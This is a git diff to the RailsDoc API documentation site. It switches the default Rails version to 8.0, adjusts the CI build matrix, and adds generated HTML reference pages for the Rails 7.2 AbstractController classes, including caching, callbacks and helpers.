diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 3985bf1d9b..0e422042d4 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -37,7 +37,7 @@ jobs: with: submodules: true - name: fetch Rails tags - run: cd rails && git fetch --depth=1 origin refs/tags/v7*:refs/tags/v7* + run: cd rails && git fetch --depth=1 origin refs/tags/v8*:refs/tags/v8* - uses: ruby/setup-ruby@v1 with: ruby-version: 3.3 @@ -48,11 +48,15 @@ jobs: doc-build-others: runs-on: ubuntu-latest name: Rails Doc Build (older versions) + env: + RUBY_YJIT_ENABLE: ${{ matrix.yjit-enabled }} strategy: matrix: include: - ruby-version: 2.7 - build-rails-versions: "5.2,6.0,6.1" + build-rails-versions: "5.2" + - ruby-version: 3.0 + build-rails-versions: "6.0,6.1" - ruby-version: 3.3 build-rails-versions: "7.0,7.1,7.2" steps: diff --git a/_config.yml b/_config.yml index 4cd55dd6f5..56a115ad77 100644 --- a/_config.yml +++ b/_config.yml @@ -2,11 +2,13 @@ title: RailsDoc(Ξ²) description: Ruby on Rails API Documentation. url: https://railsdoc.github.io source: src -default_rails_version: "7.2.2" +default_rails_version: "8.0.0" rails_versions: + "8.0": + specific_version: "8.0.0" + latest: true "7.2": specific_version: "7.2.2" - latest: true "7.1": specific_version: "7.1.5" "7.0": @@ -31,10 +33,15 @@ defaults: - scope: path: "" values: - version: 7.2 + version: 8.0 image: https://avatars.githubusercontent.com/u/4223 toc: true root_path: "/" + - scope: + path: "7.2" + values: + version: 7.2 + root_path: "/7.2/" - scope: path: "7.1" values: diff --git a/rails b/rails index d0dcb8fa60..dd8f7185fa 160000 --- a/rails +++ b/rails @@ -1 +1 @@ -Subproject commit d0dcb8fa6073a0c4d42600c15e82e3bb386b27d3 +Subproject commit dd8f7185faeca6ee968a6e9367f6d8601a83b8db diff --git a/src/7.2/classes/AbstractController.html b/src/7.2/classes/AbstractController.html new file mode 100644 index 0000000000..da58b719a9 --- /dev/null +++ b/src/7.2/classes/AbstractController.html @@ -0,0 +1,126 @@ +--- +title: AbstractController +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/AbstractController/ActionNotFound.html b/src/7.2/classes/AbstractController/ActionNotFound.html new file mode 100644 index 0000000000..065cd49b06 --- /dev/null +++ b/src/7.2/classes/AbstractController/ActionNotFound.html @@ -0,0 +1,66 @@ +--- +title: AbstractController::ActionNotFound +layout: default +--- +
+ +
+
+ +
+ +

Raised when a non-existing controller action is triggered.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Base.html b/src/7.2/classes/AbstractController/Base.html new file mode 100644 index 0000000000..ac4743c336 --- /dev/null +++ b/src/7.2/classes/AbstractController/Base.html @@ -0,0 +1,753 @@ +--- +title: AbstractController::Base +layout: default +--- +
+ +
+
+ +
+ +

Abstract Controller Base

+ +

AbstractController::Base is a low-level API. Nobody should be using it directly, and subclasses (like ActionController::Base) are expected to provide their own render method, since rendering means different things depending on the context.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + abstract
+ [R] + abstract?
+ + + + +

Class Public methods

+ +
+

+ + abstract!() + +

+ + +
+

Define a controller as abstract. See internal_methods for more details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 58
+      def abstract!
+        @abstract = true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + action_methods() + +

+ + +
+

A list of method names that should be considered actions. This includes all public instance methods on a controller, less any internal methods (see internal_methods), adding back in any methods that are internal, but still exist on the class itself.

+ +

Returns

+
  • +

    Set - A set of all methods that should be considered actions.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 97
+      def action_methods
+        @action_methods ||= begin
+          # All public instance methods of this class, including ancestors except for
+          # public instance methods of Base and its ancestors.
+          methods = public_instance_methods(true) - internal_methods
+          # Be sure to include shadowed public instance methods of this class.
+          methods.concat(public_instance_methods(false))
+          methods.map!(&:to_s)
+          methods.to_set
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_action_methods!() + +

+ + +
+

action_methods are cached and there is sometimes a need to refresh them. ::clear_action_methods! allows you to do that, so next time you run action_methods, they will be recalculated.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 112
+      def clear_action_methods!
+        @action_methods = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller_path() + +

+ + +
+

Returns the full controller name, underscored, without the ending Controller.

+ +
class MyApp::MyPostsController < AbstractController::Base
+
+end
+
+MyApp::MyPostsController.controller_path # => "my_app/my_posts"
+
+ +

Returns

+
  • +

    String

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 127
+      def controller_path
+        @controller_path ||= name.delete_suffix("Controller").underscore unless anonymous?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + internal_methods() + +

+ + +
+

A list of all internal methods for a controller. This finds the first abstract superclass of a controller, and gets a list of all public instance methods on that abstract class. Public instance methods of a controller would normally be considered action methods, so methods declared on abstract classes are being removed. (ActionController::Metal and ActionController::Base are defined as abstract)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 77
+      def internal_methods
+        controller = self
+        methods = []
+
+        until controller.abstract?
+          methods += controller.public_instance_methods(false)
+          controller = controller.superclass
+        end
+
+        controller.public_instance_methods(true) - methods
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_added(name) + +

+ + +
+

Refresh the cached action_methods when a new action_method is added.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 132
+      def method_added(name)
+        super
+        clear_action_methods!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_path?() + +

+ + +
+

Returns true if the given controller is capable of rendering a path. A subclass of AbstractController::Base may return false. An Email controller for example does not support paths, only full URLs.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 200
+    def self.supports_path?
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + action_methods() + +

+ + +
+

Delegates to the class’s ::action_methods.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 172
+    def action_methods
+      self.class.action_methods
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + action_name + +

+ + +
+

Returns the name of the action this controller is processing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 44
+    attr_internal :action_name
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + available_action?(action_name) + +

+ + +
+

Returns true if a method for the action is available and can be dispatched, false otherwise.

+ +

Notice that action_methods.include?("foo") may return false and available_action?("foo") returns true because this method considers actions that are also available through other means, for example, implicit render ones.

+ +

Parameters

+
  • +

    action_name - The name of an action to be tested

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 187
+    def available_action?(action_name)
+      _find_action_name(action_name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller_path() + +

+ + +
+

Delegates to the class’s ::controller_path.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 167
+    def controller_path
+      self.class.controller_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + formats + +

+ + +
+

Returns the formats that can be processed by the controller.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 48
+    attr_internal :formats
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + performed?() + +

+ + +
+

Tests if a response body is set. Used to determine if the process_action callback needs to be terminated in AbstractController::Callbacks.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 193
+    def performed?
+      response_body
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + process(action, ...) + +

+ + +
+

Calls the action going through the entire Action Dispatch stack.

+ +

The actual method that is called is determined by calling method_for_action. If no method can handle the action, then an AbstractController::ActionNotFound error is raised.

+ +

Returns

+
  • +

    self

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 154
+    def process(action, ...)
+      @_action_name = action.to_s
+
+      unless action_name = _find_action_name(@_action_name)
+        raise ActionNotFound.new("The action '#{action}' could not be found for #{self.class.name}", self, action)
+      end
+
+      @_response_body = nil
+
+      process_action(action_name, ...)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + response_body + +

+ + +
+

Returns the body of the HTTP response sent by the controller.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/base.rb, line 40
+    attr_internal :response_body
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Caching.html b/src/7.2/classes/AbstractController/Caching.html new file mode 100644 index 0000000000..9ca7b1382f --- /dev/null +++ b/src/7.2/classes/AbstractController/Caching.html @@ -0,0 +1,188 @@ +--- +title: AbstractController::Caching +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + view_cache_dependencies() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching.rb, line 54
+    def view_cache_dependencies
+      self.class._view_cache_dependencies.filter_map { |dep| instance_exec(&dep) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + cache(key, options = {}, &block) + +

+ + +
+

Convenience accessor.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching.rb, line 60
+      def cache(key, options = {}, &block) # :doc:
+        if cache_configured?
+          cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block)
+        else
+          yield
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Caching/ClassMethods.html b/src/7.2/classes/AbstractController/Caching/ClassMethods.html new file mode 100644 index 0000000000..436a0edaaa --- /dev/null +++ b/src/7.2/classes/AbstractController/Caching/ClassMethods.html @@ -0,0 +1,101 @@ +--- +title: AbstractController::Caching::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + view_cache_dependency(&dependency) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching.rb, line 49
+      def view_cache_dependency(&dependency)
+        self._view_cache_dependencies += [dependency]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Caching/ConfigMethods.html b/src/7.2/classes/AbstractController/Caching/ConfigMethods.html new file mode 100644 index 0000000000..19e8521cf8 --- /dev/null +++ b/src/7.2/classes/AbstractController/Caching/ConfigMethods.html @@ -0,0 +1,140 @@ +--- +title: AbstractController::Caching::ConfigMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + cache_store() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching.rb, line 15
+      def cache_store
+        config.cache_store
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cache_store=(store) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching.rb, line 19
+      def cache_store=(store)
+        config.cache_store = ActiveSupport::Cache.lookup_store(*store)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Caching/Fragments.html b/src/7.2/classes/AbstractController/Caching/Fragments.html new file mode 100644 index 0000000000..c2c5129209 --- /dev/null +++ b/src/7.2/classes/AbstractController/Caching/Fragments.html @@ -0,0 +1,327 @@ +--- +title: AbstractController::Caching::Fragments +layout: default +--- +
+ +
+
+ +
+ +

Abstract Controller Caching Fragments

+ +

Fragment caching is used for caching various blocks within views without caching the entire action as a whole. This is useful when certain elements of an action change frequently or depend on complicated state while other parts rarely change or can be shared amongst multiple parties. The caching is done using the cache helper available in the Action View. See ActionView::Helpers::CacheHelper for more information.

+ +

While it’s strongly recommended that you use key-based cache expiration (see links in CacheHelper for more information), it is also possible to manually expire caches. For example:

+ +
expire_fragment('name_of_cache')
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + combined_fragment_cache_key(key) + +

+ + +
+

Given a key (as described in expire_fragment), returns a key array suitable for use in reading, writing, or expiring a cached fragment. All keys begin with :views, followed by ENV["RAILS_CACHE_ID"] or ENV["RAILS_APP_VERSION"] if set, followed by any controller-wide key prefix values, ending with the specified key value.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching/fragments.rb, line 68
+      def combined_fragment_cache_key(key)
+        head = self.class.fragment_cache_keys.map { |k| instance_exec(&k) }
+        tail = key.is_a?(Hash) ? url_for(key).split("://").last : key
+
+        cache_key = [:views, ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"], head, tail]
+        cache_key.flatten!(1)
+        cache_key.compact!
+        cache_key
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + expire_fragment(key, options = nil) + +

+ + +
+

Removes fragments from the cache.

+ +

key can take one of three forms:

+
  • +

    String - This would normally take the form of a path, like pages/45/notes.

    +
  • +

    Hash - Treated as an implicit call to url_for, like { controller: 'pages', action: 'notes', id: 45}

    +
  • +

    Regexp - Will remove any fragment that matches, so %r{pages/\d*/notes} might remove all notes. Make sure you don’t use anchors in the regex (^ or $) because the actual filename matched looks like ./cache/filename/path.cache. Note: Regexp expiration is only supported on caches that can iterate over all keys (unlike memcached).

    +
+ +

options is passed through to the cache store’s delete method (or delete_matched, for Regexp keys).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching/fragments.rb, line 131
+      def expire_fragment(key, options = nil)
+        return unless cache_configured?
+        key = combined_fragment_cache_key(key) unless key.is_a?(Regexp)
+
+        instrument_fragment_cache :expire_fragment, key do
+          if key.is_a?(Regexp)
+            cache_store.delete_matched(key, options)
+          else
+            cache_store.delete(key, options)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fragment_exist?(key, options = nil) + +

+ + +
+

Check if a cached fragment from the location signified by key exists (see expire_fragment for acceptable formats).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching/fragments.rb, line 105
+      def fragment_exist?(key, options = nil)
+        return unless cache_configured?
+        key = combined_fragment_cache_key(key)
+
+        instrument_fragment_cache :exist_fragment?, key do
+          cache_store.exist?(key, options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + read_fragment(key, options = nil) + +

+ + +
+

Reads a cached fragment from the location signified by key (see expire_fragment for acceptable formats).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching/fragments.rb, line 93
+      def read_fragment(key, options = nil)
+        return unless cache_configured?
+
+        key = combined_fragment_cache_key(key)
+        instrument_fragment_cache :read_fragment, key do
+          result = cache_store.read(key, options)
+          result.respond_to?(:html_safe) ? result.html_safe : result
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write_fragment(key, content, options = nil) + +

+ + +
+

Writes content to the location signified by key (see expire_fragment for acceptable formats).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching/fragments.rb, line 80
+      def write_fragment(key, content, options = nil)
+        return content unless cache_configured?
+
+        key = combined_fragment_cache_key(key)
+        instrument_fragment_cache :write_fragment, key do
+          content = content.to_str
+          cache_store.write(key, content, options)
+        end
+        content
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Caching/Fragments/ClassMethods.html b/src/7.2/classes/AbstractController/Caching/Fragments/ClassMethods.html new file mode 100644 index 0000000000..5185b6d099 --- /dev/null +++ b/src/7.2/classes/AbstractController/Caching/Fragments/ClassMethods.html @@ -0,0 +1,117 @@ +--- +title: AbstractController::Caching::Fragments::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + fragment_cache_key(value = nil, &key) + +

+ + +
+

Allows you to specify controller-wide key prefixes for cache fragments. Pass either a constant value, or a block which computes a value each time a cache key is generated.

+ +

For example, you may want to prefix all fragment cache keys with a global version identifier, so you can easily invalidate all caches.

+ +
class ApplicationController
+  fragment_cache_key "v1"
+end
+
+ +

When it’s time to invalidate all fragments, simply change the string constant. Or, progressively roll out the cache invalidation using a computed value:

+ +
class ApplicationController
+  fragment_cache_key do
+    @account.id.odd? ? "v1" : "v2"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/caching/fragments.rb, line 58
+        def fragment_cache_key(value = nil, &key)
+          self.fragment_cache_keys += [key || -> { value }]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Callbacks.html b/src/7.2/classes/AbstractController/Callbacks.html new file mode 100644 index 0000000000..a6e5d82586 --- /dev/null +++ b/src/7.2/classes/AbstractController/Callbacks.html @@ -0,0 +1,114 @@ +--- +title: AbstractController::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Abstract Controller Callbacks

+ +

Abstract Controller provides hooks during the life cycle of a controller action. Callbacks allow you to trigger logic during this cycle. Available callbacks are:

+
  • +

    after_action

    +
  • +

    append_after_action

    +
  • +

    append_around_action

    +
  • +

    append_before_action

    +
  • +

    around_action

    +
  • +

    before_action

    +
  • +

    prepend_after_action

    +
  • +

    prepend_around_action

    +
  • +

    prepend_before_action

    +
  • +

    skip_after_action

    +
  • +

    skip_around_action

    +
  • +

    skip_before_action

    +
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Callbacks/ClassMethods.html b/src/7.2/classes/AbstractController/Callbacks/ClassMethods.html new file mode 100644 index 0000000000..6537947cdc --- /dev/null +++ b/src/7.2/classes/AbstractController/Callbacks/ClassMethods.html @@ -0,0 +1,523 @@ +--- +title: AbstractController::Callbacks::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _insert_callbacks(callbacks, block = nil) + +

+ + +
+

Take callback names and an optional callback proc, normalize them, then call the block with each callback. This allows us to abstract the normalization across several methods that use it.

+ +

Parameters

+
  • +

    callbacks - An array of callbacks, with an optional options hash as the last parameter.

    +
  • +

    block - A proc that should be added to the callbacks.

    +
+ +

Block Parameters

+
  • +

    name - The callback to be added.

    +
  • +

    options - A hash of options to be used when adding the callback.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/callbacks.rb, line 120
+      def _insert_callbacks(callbacks, block = nil)
+        options = callbacks.extract_options!
+        callbacks.push(block) if block
+        options[:filters] = callbacks
+        _normalize_callback_options(options)
+        options.delete(:filters)
+        callbacks.each do |callback|
+          yield callback, options
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + _normalize_callback_options(options) + +

+ + +
+

If :only or :except are used, convert the options into the :if and :unless options of ActiveSupport::Callbacks.

+ +

The basic idea is that :only => :index gets converted to :if => proc {|c| c.action_name == "index" }.

+ +

Note that :only has priority over :if in case they are used together.

+ +
only: :index, if: -> { true } # the :if option will be ignored.
+
+ +

Note that :if has priority over :except in case they are used together.

+ +
except: :index, if: -> { true } # the :except option will be ignored.
+
+ +

Options

+
  • +

    only - The callback should be run only for this action.

    +
  • +

    except - The callback should be run for all actions except this action.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/callbacks.rb, line 93
+      def _normalize_callback_options(options)
+        _normalize_callback_option(options, :only, :if)
+        _normalize_callback_option(options, :except, :unless)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + after_action(names, block) + + +

+ + +
+

Append a callback after actions. See _insert_callbacks for parameter details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + append_after_action(names, block) + + +

+ + +
+

Append a callback after actions. See _insert_callbacks for parameter details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + append_around_action(names, block) + + +

+ + +
+

Append a callback around actions. See _insert_callbacks for parameter details. set up before_action, prepend_before_action, skip_before_action, etc. for each of before, after, and around.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + append_before_action(names, block) + + +

+ + +
+

Append a callback before actions. See _insert_callbacks for parameter details.

+ +

If the callback renders or redirects, the action will not run. If there are additional callbacks scheduled to run after that callback, they are also cancelled.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + around_action(names, block) + + +

+ + +
+

Append a callback around actions. See _insert_callbacks for parameter details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + before_action(names, block) + + +

+ + +
+

Append a callback before actions. See _insert_callbacks for parameter details.

+ +

If the callback renders or redirects, the action will not run. If there are additional callbacks scheduled to run after that callback, they are also cancelled.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + prepend_after_action(names, block) + + +

+ + +
+

Prepend a callback after actions. See _insert_callbacks for parameter details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + prepend_around_action(names, block) + + +

+ + +
+

Prepend a callback around actions. See _insert_callbacks for parameter details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + prepend_before_action(names, block) + + +

+ + +
+

Prepend a callback before actions. See _insert_callbacks for parameter details.

+ +

If the callback renders or redirects, the action will not run. If there are additional callbacks scheduled to run after that callback, they are also cancelled.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + skip_after_action(names) + + +

+ + +
+

Skip a callback after actions. See _insert_callbacks for parameter details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + skip_around_action(names) + + +

+ + +
+

Skip a callback around actions. See _insert_callbacks for parameter details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + skip_before_action(names) + + +

+ + +
+

Skip a callback before actions. See _insert_callbacks for parameter details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Collector.html b/src/7.2/classes/AbstractController/Collector.html new file mode 100644 index 0000000000..e6d9a1f5df --- /dev/null +++ b/src/7.2/classes/AbstractController/Collector.html @@ -0,0 +1,106 @@ +--- +title: AbstractController::Collector +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + generate_method_for_mime(mime) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/collector.rb, line 9
+    def self.generate_method_for_mime(mime)
+      sym = mime.is_a?(Symbol) ? mime : mime.to_sym
+      class_eval <<-RUBY, __FILE__, __LINE__ + 1
+        def #{sym}(...)
+          custom(Mime[:#{sym}], ...)
+        end
+      RUBY
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/DoubleRenderError.html b/src/7.2/classes/AbstractController/DoubleRenderError.html new file mode 100644 index 0000000000..72b7cfca96 --- /dev/null +++ b/src/7.2/classes/AbstractController/DoubleRenderError.html @@ -0,0 +1,120 @@ +--- +title: AbstractController::DoubleRenderError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_MESSAGE="Render and/or redirect were called multiple times in this action. Please note that you may only call render OR redirect, and at most once per action. Also note that neither redirect nor render terminate execution of the action, so if you want to exit an action after redirecting, you need to do something like \"redirect_to(...); return\"."
+ + + + + + +

Class Public methods

+ +
+

+ + new(message = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/rendering.rb, line 14
+    def initialize(message = nil)
+      super(message || DEFAULT_MESSAGE)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Helpers.html b/src/7.2/classes/AbstractController/Helpers.html new file mode 100644 index 0000000000..bca6a1e655 --- /dev/null +++ b/src/7.2/classes/AbstractController/Helpers.html @@ -0,0 +1,114 @@ +--- +title: AbstractController::Helpers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _helpers() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/helpers.rb, line 28
+    def _helpers
+      self.class._helpers
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/AbstractController/Helpers/ClassMethods.html b/src/7.2/classes/AbstractController/Helpers/ClassMethods.html new file mode 100644 index 0000000000..b16db9773a --- /dev/null +++ b/src/7.2/classes/AbstractController/Helpers/ClassMethods.html @@ -0,0 +1,439 @@ +--- +title: AbstractController::Helpers::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [W] + _helpers
+ + + + + +

Instance Public methods

+ +
+

+ + all_helpers_from_path(path) + + +

+ + +
+

Returns a list of helper names in a given path.

+ +
ActionController::Base.all_helpers_from_path 'app/helpers'
+# => ["application", "chart", "rubygems"]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + _helpers_for_modification() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/helpers.rb, line 218
+      def _helpers_for_modification
+        unless @_helpers
+          self._helpers = define_helpers_module(self, superclass._helpers)
+        end
+        _helpers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_helpers() + +

+ + +
+

Clears up all existing helpers in this class, only keeping the helper with the same name as this class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/helpers.rb, line 209
+      def clear_helpers
+        inherited_helper_methods = _helper_methods
+        self._helpers = Module.new
+        self._helper_methods = Array.new
+
+        inherited_helper_methods.each { |meth| helper_method meth }
+        default_helper_module! unless anonymous?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + helper(*args, &block) + +

+ + +
+

Includes the given modules in the template class.

+ +

Modules can be specified in different ways. All of the following calls include FooHelper:

+ +
# Module, recommended.
+helper FooHelper
+
+# String/symbol without the "helper" suffix, camel or snake case.
+helper "Foo"
+helper :Foo
+helper "foo"
+helper :foo
+
+ +

The last two assume that "foo".camelize returns β€œFoo”.

+ +

When strings or symbols are passed, the method finds the actual module object using String#constantize. Therefore, if the module has not been yet loaded, it has to be autoloadable, which is normally the case.

+ +

Namespaces are supported. The following calls include Foo::BarHelper:

+ +
# Module, recommended.
+helper Foo::BarHelper
+
+# String/symbol without the "helper" suffix, camel or snake case.
+helper "Foo::Bar"
+helper :"Foo::Bar"
+helper "foo/bar"
+helper :"foo/bar"
+
+ +

The last two assume that "foo/bar".camelize returns β€œFoo::Bar”.

+ +

The method accepts a block too. If present, the block is evaluated in the context of the controller helper module. This simple call makes the wadus method available in templates of the enclosing controller:

+ +
helper do
+  def wadus
+    "wadus"
+  end
+end
+
+ +

Furthermore, all the above styles can be mixed together:

+ +
helper FooHelper, "woo", "bar/baz" do
+  def wadus
+    "wadus"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/abstract_controller/helpers.rb, line 198
+      def helper(*args, &block)
+        modules_for_helpers(args).each do |mod|
+          next if _helpers.include?(mod)
+          _helpers_for_modification.include(mod)
+        end
+
+        _helpers_for_modification.module_eval(&block) if block_given?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + helper_method(*methods) + +

+ + +
+

Declare a controller method as a helper. For example, the following makes the current_user and logged_in? controller methods available to the view:

+ +
class ApplicationController < ActionController::Base
+  helper_method :current_user, :logged_in?
+
+  private
+    def current_user
+      @current_user ||= User.find_by(id: session[:user])
+    end
+
+    def logged_in?
+      current_user != nil
+    end
+end
+
+ +

In a view:

+ +
<% if logged_in? -%>Welcome, <%= current_user.name %><% end -%>
+
+ +

